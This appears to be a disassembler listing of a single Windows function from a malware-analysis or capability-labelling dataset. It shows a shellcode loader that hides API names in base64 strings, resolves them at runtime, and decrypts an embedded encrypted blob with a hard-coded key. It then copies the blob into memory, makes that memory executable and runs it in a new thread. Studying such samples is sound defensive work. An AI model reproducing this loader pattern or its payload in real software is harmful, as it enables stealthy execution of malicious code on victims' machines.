Function at 0x140002010
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x7c8]
sub rsp, 0x8b0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1400140c0]
xor rax, rsp
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x60], 0xf
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
lea r8d, [r12 + 0x10]
lea rdx, str.VmlydHVhbEFsbG9j
lea rcx, [rsp + 0x48]
call fcn.1400015c0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x68]
call fcn.140001350
nop
cmp qword [rsp + 0x60], 0x10
jb 0x14000209e
mov rcx, qword [rsp + 0x48]
call fcn.1400033b0
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov r8d, 0x10
lea rdx, str.Q3JlYXRlVGhyZWFk
lea rcx, [rsp + 0x68]
call fcn.1400015c0
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 8]
call fcn.140001350
nop
cmp qword [rbp - 0x80], 0x10
jb 0x1400020fb
mov rcx, qword [rsp + 0x68]
call fcn.1400033b0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov r8d, 0x13
lea rdx, str.VmlydHVhbFByb3RlY3Q
lea rcx, [rsp + 0x48]
call fcn.1400015c0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x48]
call fcn.140001350
nop
cmp qword [rsp + 0x60], 0x10
jb 0x140002159
mov rcx, qword [rsp + 0x48]
call fcn.1400033b0
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
mov r8d, 0x1a
lea rdx, str.V2FpdEZvclNpbmdsZU9iamVjdA
lea rcx, [rsp + 0x68]
call fcn.1400015c0
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x18]
call fcn.140001350
nop
cmp qword [rbp - 0x80], 0x10
jb 0x1400021b6
mov rcx, qword [rsp + 0x68]
call fcn.1400033b0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
lea rbx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rbx, qword [rbp + 0x68]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rbx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rbx, qword [rbp + 8]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rbx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rbx, qword [rbp + 0x48]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rbx, qword [rbp - 0x18]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov dword [rbp + 0x88], 0x139068f5
mov dword [rbp + 0x8c], 0x45f79d70
mov dword [rbp + 0x90], 0x30d59862
mov dword [rbp + 0x94], 0x4304cb14
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], 0
mov r8d, 0x1d1
lea rdx, str.YDZ3D9weLO2x0RV7A6IB_vfuyspO6ADAIn1clPCS5LKjjyQbGt58ACZcEfnnpVQQb38xljl0f4D2uHkIT6fyI9hJ7YCW7wUaEPyI2irIbxtK5vb89E0KIS96U9QFXJ8iU6DYJMXk1vcDC6E5C1rLlBDLm83wn9tY1daepIqbPTLAgpPKmC78cFOQhMjMUtGIO2xVwikL7fIYd4qAANSEc574m2OfUpAoFztg024UqB0Rb_CMdUqpKqH8L43nFmwaO_yEWZ_OcI6TowxXhtR4OcpibnEDsw1Exd1fzhJ0kj9xgz9iAUroGFtii1dKxlb_iKtVj2bjB2mIvLsZ20OfgM9pZ1BfaCbTILoGfCWAJJZfJiRVAtZrjcQ8ZXbYF3guLd6Djv3wvnneueit3_IDuqr4DbTr01sBR1xil3jJhG2nYEFG5NJHUo35Bd0l1xVGVATSouZYW0zvB
lea rcx, [rbp - 0x38]
call fcn.1400015c0
nop
mov qword [rbp - 0x60], 0xf
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], 0
mov r8d, 0x180
lea rdx, str.EV04PL1fGPEB1OM8iss8UGU8nlrIrxJcJqDltAsBN3L1GHUy0cZIMZTtYpoYsCD02TEzGpVG9O0mMeizNYeiFLckaeIr9QkM5vKUddmYNoHRSv9WWdS7hGncPppszFhwriafGqQXWLLbbiHdw0qRZ4L_BoJADMEb2CeHwASD7gsnm1xITQTLZUmy2LLTk_Gl_ZZ5slHybIXFYKOwvbhwE86vfOBsdprEVnoAN13DPPeEJgPeGWAxDY0lGyDGtk0t2RryijDZfPlHmZD15TxepeDK0_uebCyIiBexLBISqrQNr1iKPXPVHqpNd6XwozfsqNEPLdUXGVrdmOhYwtRXUigCAjBxSSG4k90g1TxVyN_9PJovohaycI8XIijd
lea rcx, [rbp - 0x78]
call fcn.1400015c0
nop
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], 0
mov r8d, 0x15b
lea rdx, str.3oFOTW02J3iPXoqrtQnZFkLsKEnHEZLh0FNymiKoHOWjpP9l7Ot8SqoSxOWiRSyYoF_aT3haWzkTgjj1vbKLMGRTsMkGMcVDG_0j1muL5_qFjDpcvgfMadcA72Yt8c33I6HyK8Tk75CcQ4HmxNth1Qh8HwvTFy5qJsciPkj4PyDkhis7eBbur3kq4fUDSo5Mg2rkF8lYelkLiD9qF_uVc1CsPHZs4XIvPEpfa44zjtoB1lUXAX_6fFnaeKFpwED2b3ecW38R8ZfrVOz7UM0sWCC9yl4szpzr4RFdWBAPDERZPNrfX_BrbqD2UHUB1LEoOz4uTWkxD27VWlJo
lea rcx, [rbp - 0x58]
call fcn.1400015c0
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x48]
call fcn.1400026f0
nop
lea r8, [rbp - 0x58]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400027a0
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.140001350
nop
cmp qword [rbp - 0x80], 0x10
jb 0x140002353
mov rcx, qword [rsp + 0x68]
call fcn.1400033b0
mov qword [rbp - 0x80], 0xf
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], 0
cmp qword [rsp + 0x60], 0x10
jb 0x140002377
mov rcx, qword [rsp + 0x48]
call fcn.1400033b0
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], 0
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea r9, [rbp + 0xa0]
lea rcx, [rbp + 0xa0]
mov rax, rdx
or rax, rcx
and eax, 0xf
jne 0x140002413
mov eax, 7
nop word [rax + rax]
movaps xmm0, xmmword [rdx]
movaps xmmword [rcx], xmm0
movaps xmm1, xmmword [rdx + 0x10]
movaps xmmword [rcx + 0x10], xmm1
movaps xmm0, xmmword [rdx + 0x20]
movaps xmmword [rcx + 0x20], xmm0
movaps xmm1, xmmword [rdx + 0x30]
movaps xmmword [rcx + 0x30], xmm1
movaps xmm0, xmmword [rdx + 0x40]
movaps xmmword [rcx + 0x40], xmm0
movaps xmm1, xmmword [rdx + 0x50]
movaps xmmword [rcx + 0x50], xmm1
movaps xmm0, xmmword [rdx + 0x60]
movaps xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movaps xmm1, xmmword [rdx + 0x70]
movaps xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
dec rax
jne 0x1400023c0
jmp 0x140002421
mov r8d, 0x380
mov rcx, r9
call fcn.140002d30
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140002459
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140003498
jmp 0x140002471
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xa0]
call fcn.140001ea0
mov r8d, 0x379
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x420]
call fcn.140002d30
mov edx, 0x379
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call rdi
mov rbx, rax
mov r8, rax
lea rcx, [rbp + 0x420]
mov rdx, rcx
or rdx, rax
and edx, 0xf
jne 0x140002568
mov edx, 6
nop
movaps xmm0, xmmword [rcx]
movaps xmmword [r8], xmm0
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [r8 + 0x10], xmm1
movaps xmm0, xmmword [rcx + 0x20]
movaps xmmword [r8 + 0x20], xmm0
movaps xmm1, xmmword [rcx + 0x30]
movaps xmmword [r8 + 0x30], xmm1
movaps xmm0, xmmword [rcx + 0x40]
movaps xmmword [r8 + 0x40], xmm0
movaps xmm1, xmmword [rcx + 0x50]
movaps xmmword [r8 + 0x50], xmm1
movaps xmm0, xmmword [rcx + 0x60]
movaps xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movaps xmm1, xmmword [rcx + 0x70]
movaps xmmword [r8 - 0x10], xmm1
lea rcx, [rcx + 0x80]
dec rdx
jne 0x1400024c0
movaps xmm0, xmmword [rcx]
movaps xmmword [r8], xmm0
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [r8 + 0x10], xmm1
movaps xmm0, xmmword [rcx + 0x20]
movaps xmmword [r8 + 0x20], xmm0
movaps xmm1, xmmword [rcx + 0x30]
movaps xmmword [r8 + 0x30], xmm1
movaps xmm0, xmmword [rcx + 0x40]
movaps xmmword [r8 + 0x40], xmm0
movaps xmm1, xmmword [rcx + 0x50]
movaps xmmword [r8 + 0x50], xmm1
movaps xmm0, xmmword [rcx + 0x60]
movaps xmmword [r8 + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [r8 + 0x70], rax
movzx eax, byte [rcx + 0x78]
mov byte [r8 + 0x78], al
jmp 0x14000257d
mov r8d, 0x379
lea rdx, [rbp + 0x420]
mov rcx, rax
call fcn.140002d30
lea r9, [rsp + 0x3c]
mov edx, 0x379
mov r8d, 0x10
mov rcx, rbx
call r14
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rsi
or edx, 0xffffffff
mov rcx, rax
call r15
nop
cmp qword [rbp + 0x40], 0x10
jb 0x1400025d3
mov rcx, qword [rbp + 0x28]
call fcn.1400033b0
mov qword [rbp + 0x40], 0xf
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], 0
cmp qword [rbp - 0x40], 0x10
jb 0x1400025f3
mov rcx, qword [rbp - 0x58]
call fcn.1400033b0
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], 0
cmp qword [rbp - 0x60], 0x10
jb 0x140002613
mov rcx, qword [rbp - 0x78]
call fcn.1400033b0
mov qword [rbp - 0x60], 0xf
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], 0
cmp qword [rbp - 0x20], 0x10
jb 0x140002633
mov rcx, qword [rbp - 0x38]
call fcn.1400033b0
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], 0
cmp qword [rbp], 0x10
jb 0x140002653
mov rcx, qword [rbp - 0x18]
call fcn.1400033b0
mov qword [rbp], 0xf
mov qword [rbp - 8], r12
mov byte [rbp - 0x18], 0
cmp qword [rbp + 0x60], 0x10
jb 0x140002673
mov rcx, qword [rbp + 0x48]
call fcn.1400033b0
mov qword [rbp + 0x60], 0xf
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x48], 0
cmp qword [rbp + 0x20], 0x10
jb 0x140002693
mov rcx, qword [rbp + 8]
call fcn.1400033b0
mov qword [rbp + 0x20], 0xf
mov qword [rbp + 0x18], r12
mov byte [rbp + 8], 0
cmp qword [rbp + 0x80], 0x10
jb 0x1400026b6
mov rcx, qword [rbp + 0x68]
call fcn.1400033b0
xor eax, eax
mov rcx, qword [rbp + 0x7a0]
xor rcx, rsp
call fcn.140002b60
lea r11, [rsp + 0x8b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret